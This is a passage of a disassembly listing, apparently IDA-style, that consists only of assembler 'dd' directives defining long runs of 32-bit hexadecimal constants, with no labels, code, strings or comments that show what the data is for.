		dd 28B0C41Eh, 0ABCF0CA0h, 0D019216Eh, 645F020h,	7B2D2408h
		dd 0B20741D6h, 6711F8FEh, 4F275FD1h, 0BE0831DFh, 0E4D61421h
		dd 0A000AF71h, 7295FE4Bh, 41E290CEh, 8088A0A2h,	52ABD10Ch
		dd 1FF0705Ch, 888E63h, 753670F1h, 0CA3D840Ch, 0D8B61CC1h
		dd 8BE9A580h, 38A9527h,	76585BFh, 2C8924Dh, 4200677Eh
		dd 530526CCh, 0EA5AA808h, 3CFA077Bh, 0A066581Bh, 0B573EB84h
		dd 1E9F2E00h, 0DE1A83A2h, 0A197000Ah, 0A0987220h, 0EDF0F65Ch
		dd 0F129AB00h, 0E3486C95h, 0DB30041h, 0AF0181BBh, 1CFC67E4h
		dd 85351B1Fh, 0B27EC803h, 1DC7F8B1h, 4A0F017Ah,	0C650A4B3h
		dd 0F2189BDEh, 7AE7E041h, 334C00D7h, 0ACA17DFh,	0A41C9724h
		dd 2E0CD364h, 71A49A0h,	7D201E96h, 0BD76037Bh, 70A193Bh
		dd 0D2BB576Ch, 92F202h,	0BE07A7BFh, 9A701300h, 0B2204CAFh
		dd 0DF61063Eh, 814B3FFEh, 0FC344700h, 8CDD9ED4h, 366D0113h
		dd 5C441A0Eh, 0E2F8D31Dh, 33000410h, 0CC4C1EB6h, 0D37AC5h
		dd 504742F5h, 0C959AD40h, 121CA4Ch, 87DC6B0Dh, 3FE4E6C7h
		dd 49310698h, 40E9A4DEh, 90FA3Eh, 2DB24B08h, 0F94323h
		dd 36FD9C1Fh, 0C80E4ACDh, 18D7C13Ch, 0B210B672h, 6D0002Ch
		dd 159E558Fh, 4B676A1Eh, 97809C18h, 649D937Dh, 80381053h
		dd 8B180D62h, 5AB12F60h, 37DB790Fh, 0C110B067h,	0F035881Dh
		dd 0FE7380C5h, 74F47600h, 0C37E127Ah, 0D2310032h, 20CA2FE5h
		dd 52016A11h, 0C734DD7Fh, 59820EA4h, 0EE4AE649h, 0CF947083h
		dd 33E97811h, 40EC731Fh, 21E342F6h, 0CB3CEB4Dh,	25B08190h
		dd 0CFBE431Eh, 9FBC9180h, 0B623D3ECh, 5B617160h, 0EF6AB83h
		dd 4BB22910h, 0B03003A0h, 1700D3E9h, 5DDD33A8h,	0E44708h
		dd 487B4E63h, 85219EEFh, 0ABB1F000h, 0A57C52AEh, 0BBFD014Fh
		dd 869DEC36h, 2FF6F03Eh, 0DD25671Eh, 220C9140h,	0E53BDA3h
		dd 6E3AE0FDh, 5700558Fh, 0AAB31EC5h, 3A4403Ch, 3E19D3F7h
		dd 40CC97DEh, 3618181Bh, 0ACB3182Dh, 86307A14h,	1D8A1024h
		dd 41B33963h, 41E390A2h, 0B0571100h, 67A210E5h,	7AB71C7Bh
		dd 5530BABFh, 0E4186021h, 0F5DD7C07h, 99E00FB9h, 33EC3D1h
		dd 0B6B0BFBDh, 881D4ECEh, 1479C56h, 0D6C11BEFh,	18BA85DEh
		dd 5CB2CA88h, 0D0F7E102h, 1F43CBh, 34B73C10h, 91F4C4EAh
		dd 0C1B91300h, 0EBECC2Eh, 84E50046h, 554FFE35h,	0ED002B24h
		dd 7EAF43A0h, 1817BA97h, 1868C7EAh, 92072F40h, 1550B0A8h
		dd 1836E4C2h, 438408DCh, 0D96C1002h, 20625E88h,	106A11D0h
		dd 40057A77h, 0B510ECB1h, 240612A0h, 0A045FB8Eh, 0F7756E07h
		dd 0AFA1E059h, 2083EC03h, 0AD1DAEACh, 69E4EBF8h, 0AA7951CEh
		dd 13001C26h, 8E351468h, 3C5F789Ah, 853C50F0h, 3492200Eh
		dd 0EE9BA043h, 2AFC501Eh, 81DEF3A8h, 770C351Eh,	1E942198h
		dd 5624926h, 0C1FB4169h, 0B96D6848h, 0A4DA0C79h, 5465C88Ch
		dd 45AC64h, 0E210917h, 0FCBBAD14h, 0E32947EAh, 0A10E9858h
		dd 1B670892h, 0F8E0B955h, 79C22A2Dh, 806BE1AEh,	3260A318h
		dd 9AC0000Ah, 4D0EEF12h, 7F00D99Eh, 870C82AEh, 0A1A02CEh
		dd 0B29DEB1Bh, 83C3D214h, 0B955C818h, 0F508A79h, 36B2733Eh
		dd 2C7FE640h, 40013AB1h, 0FC5201FFh, 59D08028h,	6E1D0136h
		dd 5655A12Ah, 6F4081E8h, 3EED4C06h, 6704B88Fh, 995FA000h
		dd 0F12891B4h, 0B00344Fh, 0DDF23FA2h, 7170D8h, 0ACFAE974h
		dd 0E0A720C0h, 6744E403h, 933B8E0Dh, 2B5017E8h,	49BB0085h
		dd 0E7F4863Ch, 0A11D340Fh, 83048F78h, 0E0D4F5Bh, 93BFE261h
		dd 0E0B22AC0h, 0CB01C098h, 9A94D705h, 0F3E135ACh, 9754FFCh
		dd 0DB59F57Dh, 68DA2701h, 0E0B45323h, 466903A0h, 0C9F32800h
		dd 786D29CEh, 3AAFEE6h,	65F5444Fh, 69A0241Fh, 4179997Bh
		dd 28D7C714h, 672060ACh, 1879D8CBh, 59A292B0h, 0C700F124h
		dd 0DE54B548h, 0C678C65h, 57215EF3h, 4ADFA10h, 0CF4F1BD6h
		dd 0F2A01008h, 0C1002252h, 5D4720A2h, 7C27CDD8h, 4F660090h
		dd 48DAE471h, 79629FCCh, 24304C29h, 10752202h, 0B88994D2h
		dd 0BE44DC08h, 87DB44D9h
		dd 84847744h, 0F0965622h, 7B7F88DEh, 8036D088h,	5300EB8Eh
		dd 0FC6B9552h, 0EABEF2CBh, 329D004Ah, 0E517C2E9h, 25007F8Eh
		dd 0B784E6ACh, 3CC73AFh, 540BAA1Fh, 9880150Dh, 0DF006C11h
		dd 0AD2D3D21h, 0A0954Ah, 72D1A28Fh, 6C542E80h, 0D7E8F500h
		dd 0F8B0A39Fh, 82950017h, 0B1E64344h, 0D4ED47A8h, 8A399933h
		dd 883E830Eh, 0E87BB55Dh, 3B70836h, 676EFE84h, 1100A6EDh
		dd 0A8F705D4h, 12406DA5h, 402474B9h, 0BE93CC38h, 34012E68h
		dd 1C9112A9h, 0AC20433Dh, 0B5C900CBh, 2A90059Eh, 0E30039E0h
		dd 17FE38CDh, 5828F6B0h, 0E20092BDh, 452BF47h, 54070F53h
		dd 7D4468E4h, 202276B0h, 0F82F0C99h, 94F037BAh,	0E3198500h
		dd 0D06F14BBh, 67050132h, 5E6228C9h, 8EE6E00Bh,	0C73E9300h
		dd 975A20FEh, 2E1C71EDh, 6AB5FDh, 9282887Bh, 1D6096B9h
		dd 8E625EC9h, 67280250h, 344A5615h, 6BD7C4A0h, 3E00E3B0h
		dd 1AAF5AEFh, 0E63642Eh, 0DC108D1Eh, 827BFA20h,	6C07B80Eh
		dd 0F5EC22Fh, 69A04697h, 36CD92h, 0CF0C4A19h, 50564CEDh
		dd 4284E79h, 0D73AC072h, 2FA00013h, 28DAE1C1h, 233A0098h
		dd 4D119F1h, 2D00AA3Fh,	15976B33h, 4D5E69h, 6613ECF5h
		dd 24DA9AF6h, 0BE180700h, 37253263h, 0E1B739F8h, 82FC1D1Fh
		dd 0AFF2E853h, 0F4A0A441h, 270041E2h, 0E46A6C2Eh, 1D59DA67h
		dd 0AE5BE35Fh, 0FCCF009Dh, 534A7B97h, 89313700h, 0FAB9A9EDh
		dd 35796Eh, 0BBA8DF77h,	2604B14Eh, 0ECAEE500h, 0B3508DC2h
		dd 0D2E3004Ch, 28D6F5E2h, 5A125FC5h, 7C1EE09Bh,	54C9A947h
		dd 0F7B8E160h, 33EF899h, 43E87802h, 0A8D49EAh, 8C74D0h
		dd 0A286DE33h, 7E004A13h, 0CBC16115h, 1C0AC3ECh, 406509ACh
		dd 9A99954Bh, 2500A14Ah, 4CFAD7EDh, 1A9177Bh, 0C6662174h
		dd 35E03AD8h, 8848FE24h, 96004A58h, 8FAF84D0h, 0EACB2CBCh
		dd 93B90077h, 0FF64262Bh, 290E447Ah, 20C66588h,	0C5D78261h
		dd 0CB720143h, 170297ACh, 7589E0FDh, 654BD300h,	0CFC624D1h
		dd 479218C3h, 0A70ED893h, 0EF01CAF8h, 18464FBEh, 34F07B6Dh
		dd 2A90099h, 0A6C9F875h, 78009047h, 8AE041Ch, 54F631h
		dd 14ECF1F7h, 0A862604Dh, 30C6ED00h, 9D1990E9h,	0F2773Ch
		dd 5D5313ABh, 0D7D018AFh, 7369D313h, 0FA2F0700h, 0FA859D0Dh
		dd 0FD2D014Fh, 8D22844h, 439C402Ch, 0FE4CC68Fh,	73A70F14h
		dd 9AF4C106h, 70C0FC11h, 2D770076h, 7AF81C0Eh, 0CE8DD0Fh
		dd 798B2100h, 2BCFA1E8h, 6E900061h, 8D5D438Fh, 667ECCF2h
		dd 85A43000h, 8042EB50h, 6B0E80FCh, 15D0D31Eh, 72517CC3h
		dd 1DC8A83Eh, 4C6900B2h, 0F90E3D97h, 790021A5h,	0F3323706h
		dd 2A9F42h, 958DD676h, 0E1914915h, 0BDD15F04h, 8C018A6h
		dd 7D0A20h, 60AE1EF8h, 0E62FE805h, 9DE8C748h, 0FC00A7ACh
		dd 4CAD42F2h, 0EF5426E7h, 0E0EE0040h, 0F751989Ah, 3802B890h
		dd 2B79808Eh, 0EA1C4018h, 0A7F61D86h, 0B3E3C10Eh, 6466B267h
		dd 38108348h, 340F1671h, 768063F2h, 0F13C914Fh,	1C5BA00h
		dd 9252B40Ch, 3598008Ah, 0D6552310h, 2207645Eh,	0AA746207h
		dd 7DB0E630h, 0B81B7F3Eh, 0B7101h, 0EE03F250h, 62FC5B83h
		dd 66D82900h, 4A2BDC58h, 0B9724830h, 0F7E87600h, 0E99624D4h
		dd 0A37B5700h, 7DFD29B6h, 0C67800EDh, 0AD984DFh, 0CBE0E7F2h
		dd 1419400h, 0BDB3A2B6h, 9B071D1Eh, 7391C1C2h, 3081DB9Fh
		dd 0AE024158h, 94B07178h, 3199C0FCh, 0D93A008Dh, 0BBF254C3h
		dd 7C035C50h, 761FD0FAh, 0C26FD0AAh, 6B90981h, 0B900A5FCh
		dd 0C7741560h, 0DE00ADE0h, 59228DA7h, 23FEFBh, 94BA7BEEh
		dd 7198096h, 0C6F1CF01h, 2DE6C9D3h, 0E901DCh, 0A3812C95h
		dd 904577Bh, 0AE0A3E00h, 27C6AA4Fh, 99AB07CCh, 0B0483592h
		dd 1AA44756h, 0EC16047Fh, 1400C131h, 2BE2B0EBh,	556C00C4h
		dd 185EF692h, 0A03FD07h, 82CA4F88h, 4B8A8DDh, 9D6600BDh
		dd 0F1B17CE7h, 0A6004DA5h, 0F7C50F72h, 405C5158h, 820F12F3h
		dd 61D4F55Fh, 0D23674C8h, 0BCEEF0h, 3B66D503h, 49536AD9h
		dd 91E24D00h, 0A87A1EDBh, 0F77600E3h, 8CC1B130h, 88023506h
		dd 595C45ABh, 8464401Bh, 509E4DC3h, 7B699200h, 4750FC1Fh
		dd 67520C12h, 97C03C00h, 0F4CCCC1h, 0FB4A418Eh,	8579BAE0h
		dd 0B6EC3BC3h, 0DCAF0800h, 73AA1B7Ch, 0E9510057h, 59D9C90Dh
		dd 0D7F25563h, 0DBC3FF00h, 46A491EDh, 78E098B8h, 0B23000E2h
		dd 49EFE443h, 2000CDA0h, 8D1DD848h, 3B946B3h, 9E5B03F4h
		dd 5AE08940h, 0E313F634h, 0D8076961h, 0BCF07066h, 0C24159h
		dd 0E75816ECh, 0AF1E6ADAh, 2B13EF00h, 267F6881h, 0C198007Ah
		dd 7180EADEh, 0D74C8C99h, 0C63031Fh, 87EE12FDh,	0FCDF1F60h
		dd 13DE2E5h, 0DE9AF5ACh, 0E03505A1h, 6D14BA04h,	0D874FBh
		dd 0B528C5E0h, 1DD27CAh, 0CE45DCB3h, 3021D142h,	0DF1F2D35h
		dd 5101EB68h, 4EDB1106h, 6013FDE4h, 0EE4B110Ah,	2E00BD60h
		dd 20E85CB1h, 5F165DAh,	92FC5703h, 80C00EA8h, 0D6109E0h
		dd 0A008C4Eh, 242107BAh, 0EC7B8644h, 0F2C80C71h, 0B3DC3D9Fh
		dd 22911613h, 41192C00h, 9714A3h, 1BB93A17h, 86657C15h
		dd 22C0AF50h, 0FDF32D10h, 0F9F4C900h, 5733AD4h,	46053072h
		dd 0DD0B29D1h, 7574B0C1h, 0BA2BF4h, 8547E945h, 1DE562F9h
		dd 0D9816100h, 25CDA372h, 0C8BABFh, 0F75FB830h,	38D20806h
		dd 0B29AF100h, 4FD68C9h, 46ED0065h, 39AD1DA3h, 9E007334h
		dd 0AE803EC3h, 0EA7EA896h, 32C0794h, 0F6CF6BCCh, 0EC02A41Dh
		dd 470871CEh, 0A22BC025h, 24731C29h, 9B19800Dh,	53C88879h
		dd 0D4AE6313h, 262AB000h, 790A4FC6h, 55BE007Fh,	7857C51Dh
		dd 651C229Bh, 0E6C0DE6Ch, 66F8682Ch, 76C8928Bh,	3E80001Ch
		dd 0B8225270h, 87009FF1h, 0C21D7496h, 0E6CF1698h, 47A105F0h
		dd 384EF2h, 3C4B799h, 0FA311EE8h, 0A4538043h, 7DF4EEE6h
		dd 35663DE9h, 927E5580h, 6A774AAh, 0F0C7AF00h, 0CB2154ECh
		dd 814A39E6h, 64CC7B00h, 0C6FFF5EAh, 6D88AE00h,	0D7DD0241h
		dd 812400E7h, 0DA9315Dh, 0EB003311h, 78F36336h,	9D43B96h
		dd 23BC64CFh, 225C2481h, 9A9CD052h, 8E486A3Fh, 0FC1204F6h
		dd 5E4E7C07h, 0FAC05BD0h, 0D1FCB8h, 0E1BA40F0h,	8018582Fh
		dd 894FAD0Bh, 4B6CA032h, 0E5201B8h, 5DF8E219h, 5F7C4A81h
		dd 0A1E0E71Dh, 0D30F279Ch, 60BCFAE8h, 46A31E61h, 40670045h
		dd 35B060D2h, 1700FE90h, 4E37E5BEh, 0B0D0EC10h,	6AA10068h
		dd 65DCFA6h, 37D576Eh, 4D827B00h, 0C95067CDh, 890D60D8h
		dd 8F044046h, 0FE5B6D2Eh, 38209802h, 4894C6AFh,	0CA06DADDh
		dd 0A85F7E45h, 89C58C01h, 17BB739Fh, 0AA832FEDh, 0A5E5AAC0h
		dd 3C9592A0h, 0CEAC9E01h, 616FDFD8h, 0E7300C38h, 94D1AA51h
		dd 751CCF00h, 731599A8h, 49A500DAh, 0FB1E8DB7h,	667284D2h
		dd 0DF1936EAh, 1CB18B87h, 9367D8h, 48223F44h, 535C9E17h
		dd 8F817F04h, 80D292DBh, 0BC88EBB2h, 0FEBA880h,	39C8244Fh
		dd 95033BD4h, 3828F802h, 0E3B04BE3h, 96586C31h,	0A19D0041h
		dd 7CC88CBDh, 78DC60AEh, 0D7EF6E46h, 0BE417D3Eh, 1F3460B4h
		dd 0F4438B84h, 59201D2h, 2F14E080h, 0DBAA7010h,	3200D17Dh
		dd 0C217AE88h, 28A3B4h,	1B6F29E3h, 6D0D8139h, 4950E100h
		dd 22CCABB1h, 53410E96h, 9C4E5A5h, 80A4E020h, 605E9914h
		dd 0C7D90380h, 9018124Bh, 0AB66E0h, 0BA26A4BBh,	0FDC21C4Ch
		dd 0DBE2C60Ch, 52EAB80Ah
		dd 0D700B83Dh, 0C58F28E5h, 0A0B8BC3h, 0AF6E58h,	0ED83C894h
		dd 6B3901DAh, 643FA285h, 0F7B850D6h, 0CA30FF3Ah, 6332821h
		dd 0B79B007Ah, 0DE364CD3h, 7126466Fh, 16805C31h, 8E2BF45Ch
		dd 3B2DFC87h, 0B1B88098h, 1CA6AAD0h, 0C04AE105h, 1D310A39h
		dd 30013C6Eh, 268663C6h, 0C0BEC769h, 5B088000h,	270750F7h
		dd 0A701B0FEh, 6C3765CEh, 0B7E48228h, 8C1D18ECh, 1022A94Eh
		dd 13E50F00h, 95AABEEFh, 0D75500D5h, 5DB32C66h,	740C902Fh
		dd 468E7A0Ah, 18200ED2h, 0E40029E9h, 108A8BAAh,	3705A48h
		dd 0A1959794h, 3F3AD0A5h, 8E6500E9h, 0A30C3361h, 76006C8Bh
		dd 17D06FF1h, 84D9EDh, 0E61A7C55h, 148BFA05h, 0A141DCA8h
		dd 0D6EBBF05h, 94606851h, 50DB3C5h, 6F5C1FBCh, 0DB0CA0ABh
		dd 5500F2F6h, 0C9A5035Ah, 1A8D1Eh, 0B045843Dh, 68669DA4h
		dd 8927303h, 0C0DD0D4Eh, 1448977h, 78FBEBCAh, 2C10543Eh
		dd 88651FD0h, 2EF3B900h, 48AEBC2Bh, 0C8052015h,	306EAAA9h
		dd 9FB91F48h, 48621700h, 0B7F2A304h, 24360235h,	5EEF551Dh
		dd 27C03040h, 0A3919802h, 0E3A46A26h, 8D85C1DEh, 16CED5F4h
		dd 20FFEBDDh, 590A6584h, 7BF33600h, 0BD0304E8h,	0D23501EEh
		dd 29895E55h, 31B84049h, 0C377109Ah, 0C948DFB0h, 3EDD0FFEh
		dd 0C2D82EFFh, 6A17BD3Dh, 0C538B848h, 0CD921368h, 5D8935Ah
		dd 82C849D3h, 4B00EFB3h, 4CA15E9Ch, 554DE8h, 0D58E5C93h
		dd 0AF96C7FEh, 99010DFAh, 0FC237274h, 0EC70C1E6h, 67F00022h
		dd 718EF18Bh, 0AC4DFFCEh, 0A0D80104h, 8F4F1F68h, 0BCB9D8h
		dd 0A8D1F116h, 6AE4F9C5h, 0F7B88A0Eh, 3B172357h, 0D4C1B86Fh
		dd 0DC732Ch, 0FE684CF9h, 543DBF9Dh, 800CEC38h, 0F211F99h
		dd 3AA1E167h, 4100F074h, 97DD22DFh, 0AA0799EDh,	7508C8D3h
		dd 378123D1h, 681824h, 3B61F03Ah, 2888A10Eh, 0D57A8BF4h
		dd 7E0C3001h, 19D2ACEDh, 1951AD8h, 0CC7243BDh, 0EEB60799h
		dd 0E821D089h, 34D8D01Dh, 481D589Ch, 9D02F3B7h,	0E0B4F760h
		dd 19DB1Ch, 0E9C3EA85h,	6BC454Ah, 1DB5D900h, 3E21485Eh
		dd 4F3F008Bh, 701A1273h, 0FA0072E9h, 929EAF08h,	0FDDE2F6h
		dd 7F6B529Ch, 0F8FEB1C2h, 698BDDC0h, 0B6028302h, 402DC7EDh
		dd 739A0A9Ch, 0F4D14C27h, 0EACE5C00h, 0FED9023Fh, 538FA81Fh
		dd 0DC3A3242h, 26704860h, 7B070742h, 1089DF7Eh,	0CDDD3454h
		dd 0AE73D000h, 4BA53979h, 16CC1395h, 143C9886h,	7FB8EF01h
		dd 0F62A8C7Eh, 97D874h,	0A003BB68h, 74590BEAh, 24845Ch
		dd 0A530C36Ah, 0C6BA6h,	42F03F58h, 0F17D4BC8h, 717BBC92h
		dd 0AA345D75h, 62E810FFh, 19F9007Ah, 0A43A2897h, 0A00D3D2h
		dd 91693CA9h, 73889EAh,	9A95F6B0h, 0F32212DDh, 4DE680E0h
		dd 0B28C4C00h, 2FB3B2Ah, 0CC493F1Dh, 7F52F780h,	2439ECCEh
		dd 0D30020BAh, 2D4413CAh, 0E49ECDB2h, 68420637h, 10CE7356h
		dd 1CF88F2Eh, 0E7873182h, 7ACCA2CAh, 0BF116084h, 489771FBh
		dd 0C10284AFh, 0DEDB6B2Ch, 87B3A6C1h, 22CFEC22h, 678C8AF0h
		dd 0FFEA01BDh, 785BAF19h, 6F7C3415h, 2812E724h,	7611D580h
		dd 1C95CD20h, 2AD9D2C3h, 0C4C8A994h, 77D8FFCh, 0E44EB0B3h
		dd 0E940CE10h, 24CC9A73h, 66C0A000h, 83D308B5h,	82160197h
		dd 296FE85h, 0AE98895Eh, 0C330803Fh, 39DA6F8Dh,	0A2804C59h
		dd 84505D95h, 9A129F3Ch, 52000B4Ah, 9EC1A777h, 5FB30022h
		dd 0E0EA4278h, 0D80066F6h, 5381876h, 0C09D9031h, 67C725C1h
		dd 0ED018AE4h, 0AC773A1Eh, 6AC47A80h, 6EDE000Ch, 0EA509E68h
		dd 4C05B44Ah, 0CFE9474Bh, 6048DE82h, 939860h, 0F71E62BEh
		dd 706DBA2Eh, 19E40700h, 5D4A6BBCh, 0B9A93E81h,	0D3DB3F00h
		dd 633576EDh, 317827h, 71411BE0h, 736700B5h, 6AE76EFEh
		dd 0BA3FEE20h, 77858084h, 404B523Dh, 6DF414B9h,	4C12C4F9h
		dd 0E058871Fh, 27156768h, 0CDED4013h, 9472F000h, 0F202128Fh
		dd 7B4977F0h, 7E4F16ADh, 63C0039h, 4DD5EF26h, 73511A00h
		dd 9E3B5D3Ah, 785760BCh, 86DCB120h, 6EA5801h, 0AEEE26F8h
		dd 44FF5030h, 11133D90h, 3E074F4Bh, 7EA0AC5Ah, 0A143B3h
		dd 0ED55AB63h, 85F3DF6Ch, 0E3DA6000h, 91AEB15Dh, 82560052h
		dd 0B615A230h, 0FE005A4Fh, 0B3429F7Fh, 0C6FB8Fh, 822AF332h
		dd 0C5F0CC6Bh, 34C88D00h, 0A8C42709h, 24157BE0h, 0C3A35h
		dd 0CF18A3B6h, 9B17FD2Dh, 880003C5h, 0CB3F5614h, 4D653F51h
		dd 0DD116D80h, 6C99CDE5h, 0F0C4758h, 242ADFh, 9AB92244h
		dd 0FFDE0931h, 0CC810B23h, 0DC0CC9EBh, 0DC0006C4h, 2FFAF120h
		dd 1D9C11C2h, 52794Ch, 2633188Ch, 0BD00A395h, 0A8D6F915h
		dd 347132h, 0D9F67DCFh,	0FC1D394Dh, 48B4C405h, 68C082F7h
		dd 16BBACh, 90122340h, 0EEABA06Eh, 0E75BED07h, 6CB0DB5Fh
		dd 58D083h, 337F5E77h, 0B519BD2Dh, 6F3C0EE2h, 0CB7B8131h
		dd 0C542B7B4h, 11098C3h, 0DAA616ECh, 0F0FCC47Ch, 43B83264h
		dd 1CBBC74Ch, 524463D3h, 0D4974F34h, 93E300D9h,	0EEF5D706h
		dd 24830084h, 57C2EC09h, 4101D087h, 4E343A10h, 5FC8048Fh
		dd 6B0B05FCh, 638A3Bh, 93D2498Dh, 11C06EA3h, 0B2602BFFh
		dd 0D3317DC1h, 0E6570018h, 0B78B390Fh, 66C68400h, 0AADAD038h
		dd 0B1B93A45h, 832D6CC9h, 0F171490h, 480E08F4h,	0A03AA686h
		dd 0ED812C46h, 41681DFEh, 0B730F949h, 4EA467C8h, 709D4724h
		dd 3D98C701h, 22D4AFE0h, 3B697337h, 150734FBh, 300616D8h
		dd 9362B5F7h, 0CA1D7400h, 0E22672ECh, 0F0B21764h, 9C88000Dh
		dd 0C8FD41BDh, 179B5700h, 3807308Eh, 0BC7D9Dh, 0E7FC773Ch
		dd 0A3D8E4AAh, 321C2909h, 9DE40049h, 53CD1CEh, 1DB3FEE9h
		dd 0D253C099h, 5FE23EE3h, 2E85AA03h, 825D3BFDh,	0DBC86015h
		dd 48DF7027h, 0FC034064h, 7DA8ECBCh, 0BBF51100h, 19D7C46Fh
		dd 0EC9AEEB4h, 5AC800E5h, 6DF6207Ch, 0A00206ABh, 0EF080E13h
		dd 85A3403Ah, 17EEF6BBh, 802391D9h, 6E45CF04h, 2E21FC20h
		dd 24EA6272h, 556800F3h, 0CCF73296h, 75E6E100h,	0A319B40h
		dd 6DA900FDh, 3E3BB285h, 43014E1Fh, 11D19213h, 8220816Ch
		dd 0A5363B28h, 2917216h, 790E24C8h, 9B4E638h, 0D716D1CCh
		dd 6197C087h, 3CB37374h, 5CD92EB4h, 80F94C60h, 0A18007Bh
		dd 74E28781h, 0A50032A1h, 0BDED1528h, 0AB6E46h,	4AE7228Ch
		dd 37CCA033h, 9600B6ECh, 2774F017h, 2E2213Bh, 2EEBEA0Eh
		dd 98C0E9F5h, 700338Ch,	0DCDEDD83h, 14AB385h, 93D17D29h
		dd 2AD49F8Eh, 4356F400h, 0C637DBh, 140CE6CAh, 0F7DE4B19h
		dd 907E8503h, 0E0824E0Dh, 0E10E0AC0h, 0E6F45B71h, 4755008Ah
		dd 0FFA773B7h, 0C500361Eh, 0EF46E733h, 5E684B87h, 0C05C1DBCh
		dd 0D212D80h, 0F1300CE0h, 0F9B886DCh, 37450FE7h, 0EAC09108h
		dd 3903DA0Eh, 34432A0Fh, 525F8970h, 6F0B03BCh, 0F2918FAFh
		dd 824C5580h, 0DAA5F500h, 6D0C9EE5h, 0D48B0231h, 96BD05D1h
		dd 0BA006CF8h, 53D56217h, 0C1ABE6CCh, 0C5618390h, 26C360A7h
		dd 65DDC31Fh, 802660Ch,	69910757h, 5E82ABC6h, 696A28Eh
		dd 21011797h, 25488B17h, 0D8A51440h, 5727CF1h, 75C8E288h
		dd 1020D68Ah, 0A4A7E107h, 4B8066F2h, 3050278h, 0C64982C0h
		dd 26A310D2h, 902D491Fh, 1F298A03h, 0B690114h, 867C72DDh
		dd 503CCF7Ah, 8A320652h, 1392DFFh, 0E6011279h, 0E52A635Dh
		dd 237D0F5h, 0A2C06D07h, 0D8D1578Ch, 0ACD8B6EAh, 2FAA002Bh
		dd 9F29AE3Ch, 280041A6h
		dd 6382147Ah, 0E0FD49h,	0C6275CC2h, 0CDC4E4Ch, 32E74400h
		dd 3BCDA2D8h, 0FE7E002Fh, 8420B87Ch, 0F0A8BF95h, 0EF025FEAh
		dd 53F40881h, 0C875E314h, 3920B91Ah, 0F7318F2Ch, 60DF5118h
		dd 7930AEACh, 58FAC06Eh, 24383089h, 0C7A3A620h,	20D4EB08h
		dd 0DDCD8157h, 80555173h, 0C27C7711h, 0A060EFDFh, 0CC50D2A0h
		dd 1215108h, 76C27A00h,	7E28BEFCh, 88146003h, 0FB809E34h
		dd 37AEEA80h, 0C768E78Fh, 18C406BEh, 9821073Bh,	45D982B5h
		dd 361516EBh, 2F00328h,	830EDE0h, 164421B8h, 2D721C80h
		dd 0F9348183h, 0C8D954D3h, 420767D2h, 0B4147166h, 0A28F7B93h
		dd 74D88138h, 0C0F856D0h, 3249006Ch, 0F1721EE2h, 0FB1C0416h
		dd 0ABDD0A3Dh, 80F54A4Bh, 0A94D1B54h, 4807073Fh, 4C748217h
		dd 160F9D10h, 0C0E841D4h, 8FE12B3Dh, 0C0D3E83Eh, 0D41EA321h
		dd 9C7CF2FFh, 2759B600h, 7CEE7795h, 981C03E5h, 7193A84Eh
		dd 972310Fh, 0DB837D16h, 0A6193EA7h, 28BD1C18h,	2867BA42h
		dd 3951926Fh, 75733340h, 0B3016374h, 1877059Ah,	29803A49h
		dd 1247E45Fh, 0AC5CB0A7h, 3D096FBBh, 0EBFF2073h, 0B6149847h
		dd 872E163Fh, 0BA0606B8h, 0DD1F919Bh, 6718181Dh, 10B311h
		dd 16E7C23h, 8C598833h,	348E0A07h, 8F739102h, 0E8B10087h
		dd 50B7D0Fh, 700E4BEDh,	8C365DCDh, 38E21AFh, 0AB807D18h
		dd 0B2F0F82Ah, 1700E0BFh, 0E2099E22h, 6F4070Dh,	0A7A890E3h
		dd 86308163h, 0FCCD414Eh, 0CC3FAEEh, 80881F0Dh,	4000CF19h
		dd 0C9F791DDh, 2E1489h,	2D46BF78h, 83717C37h, 771A151Ah
		dd 1D980450h, 0F470960h, 18A8A723h, 0E0FC2198h,	0D2D475Ch
		dd 70960767h, 0F409F0h,	0A50A62E2h, 4DAC5F73h, 0E6267C00h
		dd 6543CC60h, 30B5E854h, 9264C6E1h, 4937BD82h, 22A0414Ah
		dd 7593C7Dh, 0ECA40C90h, 0C7622175h, 309331FBh,	4D608590h
		dd 0A25FBFE1h, 5576E8BCh, 2CF0E4B7h, 51596765h,	0C33280C6h
		dd 0C13905B4h, 26B930FCh, 1CE11695h, 800BBCC8h,	31BF1A28h
		dd 0B2ECF7DBh, 0BDA8F20Ch, 61955199h, 0BAA571D7h, 0D05D212Ah
		dd 0F02C84FFh, 4A02A5ADh, 40A0A13Bh, 0E105411h,	90A8D02Dh
		dd 0B7295280h, 48C8AA4Dh, 0B9FD8h, 97D63D85h, 7A01A3B0h
		dd 0D44FAF67h, 0C870E26Bh, 0E56400A0h, 859544CDh, 0BC04363Fh
		dd 3A18EA7Ch, 209B8092h, 94714AFFh, 82BB2100h, 0BA23B93Fh
		dd 32DB888h, 0E54858F1h, 89F4C87Eh, 0A27C3064h,	0E76BB700h
		dd 0DCC42A0Ah, 0F5C31E65h, 0D81F0060h, 0DD61242Dh, 0B4278324h
		dd 0B510804Fh, 0A0A507h, 0D782AF0h, 0B8E8DF16h,	4300C698h
		dd 1A6A3C64h, 0A4EB83E0h, 0C4D518E8h, 7538302Dh, 67D01106h
		dd 3421AA09h, 4050A466h, 497C2268h, 0E6EC9E30h,	0C90D5Ch
		dd 0CA5F31CDh, 11158Bh,	748F91DAh, 5B8166E2h, 2AC93B00h
		dd 0ED1C4869h, 9C803CD1h, 6D156100h, 51608E38h,	700CCA78h
		dd 69133FB3h, 4E0F078Dh, 0A01A68F3h, 0E686698Ah, 0E1CF7403h
		dd 85D51F2Ah, 0F3E7043Eh, 100CEF09h, 18B73CB0h,	40F7004Dh
		dd 0E85F43C5h, 5A01DACDh, 0D4392762h, 0C3DCB02Ch, 4A7A0C15h
		dd 6429436Fh, 2EC640h, 72118E17h, 5DC13406h, 80D69A3Bh
		dd 0DA90C7C3h, 16ABC48h, 0B1661368h, 0D4D0355Bh, 951EFEA1h
		dd 0A6C0AE21h, 2F6BEFE9h, 7CCE1D8Eh, 92B740AFh,	78642D6Ch
		dd 0F7DC3A00h, 0EDC9D354h, 0E97C43h, 0EB60ECB4h, 0E8B1E20h
		dd 0C732C600h, 4766DCB0h, 0D7145C4Eh, 0D3F3C300h, 0E993CAC4h
		dd 0BB6FB238h, 30B780F5h, 0F1C9DF7Dh, 0CB920105h, 0E69D6C0Eh
		dd 134DCC80h, 0D1025773h, 0ABA7E3D4h, 3E1CE09Bh, 174301F2h
		dd 9972338Ch, 7B41E13Dh, 17E3BA0h, 2EDD7A24h, 70CA9E8Dh
		dd 0BA06CBD0h, 2AC223CEh, 0E7E326D0h, 97180072h, 3214DF26h
